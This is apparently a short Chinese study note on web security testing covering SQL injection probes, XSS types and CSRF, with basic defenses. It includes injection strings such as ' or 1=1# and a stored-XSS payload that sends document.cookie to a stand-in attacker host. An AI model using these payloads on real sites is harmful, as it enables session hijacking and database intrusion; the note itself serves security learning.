安全测试

sql注入,没有对用户输入的字符串进行过滤,转义;'or 1=1#

数字型注入   

SELECT * FROM table WHERE id=1'                    加单引号 '   返回错误

SELECT * FROM table WHERE id=1 and 1 = 1     and 1 = 1   返回正确

SELECT * FROM table WHERE id=1 and 1 = 2     and 1 = 2   返回错误

字符型注入

SELECT * FROM table WHERE username = 'admin'‘                        加单引号 '        返回错误

SELECT * FROM table WHERE username = 'admin' and 1 = 1 --      and 1 = 1 --      返回正确    注释符 --(两条杠后面还有一个空格!!!)。

SELECT * FROM table WHERE username = 'admin' and 1 = 2 --       and 1 = 2 --     返回错误


Xss攻击-跨站脚本攻击

一、反射性xss:xss代码提交服务器,服务器解析后响应,xss代码随响应内容返回到浏览器执行

 

二、存储型XSS:xss代码提交储存到服务器,用户下次请求加载服务器数据并显示

<script>window.open("www.gongji.com?param="+document.cookie)</script>

<script>alert(1)</script>

1、攻击者将恶意代码提交到目标网站数据库中。
2、用户打开目标网站时,网站服务器将恶意代码从数据库中取出,然后拼接到html中返回给浏览器中。
3、用户浏览器接收到响应后解析执行,那么其中的恶意代码也会被执行。
4、那么恶意代码执行后,就能获取到用户数据,比如上面的cookie等信息,那么把该cookie发送到攻击者网站中,那么攻击者拿到该
cookie然后会冒充该用户的行为,调用目标网站接口等违法操作。

三、DOM xss:浏览器的DOM解析

防范:
1. 后端需要对提交的数据进行过滤。
2. 前端也可以做一下处理方式,比如对script标签,将特殊字符替换成HTML编码这些等。

 

CSRF攻击-跨站请求伪造

原理:获取用户登录正常网站的cookie,在攻击者网站进行非法跨站请求操作正常网站

防护方法:

1、只使用JSON API

2、验证HTTP Referer字段

3、在请求地址中添加takon验证

posted @ 2022-03-18 11:41  轻幻  阅读(69)  评论(0)    收藏  举报